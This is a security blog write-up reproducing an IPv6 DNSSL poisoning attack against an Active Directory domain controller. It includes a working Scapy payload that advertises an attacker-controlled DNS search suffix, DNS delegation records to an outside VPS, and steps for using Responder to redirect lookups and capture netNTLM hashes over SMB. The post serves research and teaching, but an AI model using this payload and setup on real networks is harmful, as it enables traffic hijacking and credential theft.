IPv6 attack through dnssl poisoning
IPv6 attack through dnssl poisoning
While doing my morning “I check new stuff on twitter” routine, I read one tweet from Laurent Gaffié (author of Responder, RunFinger.py, etc.) talking about DNS poisoining through IPv6 that I found so simple that I had a hard time believing it was really that easy. He actually describes the attack in more details on one of its blog post. In mine, we’ll modestly try to follow along the steps and implement them.
The attack is really something: use DNSSL (DNS Search List, nothing to do with DNS over SSL :-)) to inject in a DC a DNS suffix, and that DNS suffix will be used as a fallback if there’s no DNS entry for a given lookup.
A simple look at DNSSL’s RFC introduction makes it really obvious that this attack was possible from the get go:
This document specifies IPv6 Router Advertisement options to allow IPv6 routers to advertise a list of DNS recursive server addresses and a DNS Search List to IPv6 hosts.
Let’s set up a really quick test:
- Spine the really handy “Burp collaborator”, which has the ability to listen to DNS lookups for a domain like “xxxxxxxxxxxxxxxxxx.burpcollaborator.net”
- Launch a DC without any special configuration
- Poison it through an IPv6 DNSSL’s packet
- Induce a DNS lookup for a hostname that does not exist on a domain-joined computer
>>> from scapy import all >>> ra = IPv6(dst = 'FF02::1')/ICMPv6ND_RA (routerlifetime = 0, reachabletime = 0, prf = 0)/ICMPv6NDOptDNSSL (lifetime = 120, searchlist = ['x208iwo8szucwgg1em977878zz5rtg.burpcollaborator.net']) >>> send(ra) . Sent 1 packets.
Using Laurent Gaffié’s payload to configure DNSSL on all IPv6 nodes on the network
This is staggering. We received that DNS lookup request on our DNS server.
Let’s go all the way, setup a quick vps, and try to do the same thing with our own domain (ethicalhackers.fr), instead of a test DNS server.
My DNS entries:
poisoned.ethicalhackers.fr. NS satin.ethicalhackers.fr.
satin.ethicalhackers.fr. A 184.108.40.206
Now, if anyone tries to lookup for example test.poisoned.ethicalhackers.fr, they will relay the query to 220.127.116.11, which is our VPS public IP (don’t forget to open port 53 UDP there).
On 18.104.22.168, we start Responder.
To test that everything is set up properly, let’s induce a lookup to our domain.
Looks good. Our public facing instance of Responder is poisoning the DNS queries it receives.
Now, of course, we want this instance of Responder to answer with an IP under our control, in the local network of the AD. Which is exactly what the -e parameter of Responder allows us to do.
Thus, we can start a second instace of Responder, on the local network this time, give its IP to the first instance through the -e parameter, and any DNS query to our domain should resolve to the second instance. What this means is, if someone on the network ask for “test.poisoned.ethicalhackers.fr” for example, he’ll contact our second instance of Responder.
To verify that everything is set up correctly, we can do the same test as previously, but this time the ping should reach our local IP. And sure enough, it does work.
Of course this does not mean anything on this own, the main point of this attack is to coerce the AD into making queries to poisoned.ethicalhackers.fr to begin with.
So let’s do another test: we send the previously used IPv6 payload, and we try, like in the first test we did, to access a hostname for which the AD does not have any DNS entry. Let’s also do that though a SMB share so that If it works, we capture a netNTLM hash on our local instance of Responder.
Here’s a graphical summary of what happened:
So… it was indeed as simple as that. One IPv6 packet and your now open to such powerful attacks. I guess this is especially pervasive coupled with wpad poisoning, and the current age of relay-to-anything attacks.
My take on this is that, now that the golden age of exploit based take is over, the new golden age is those kind of network/protocol based attacks.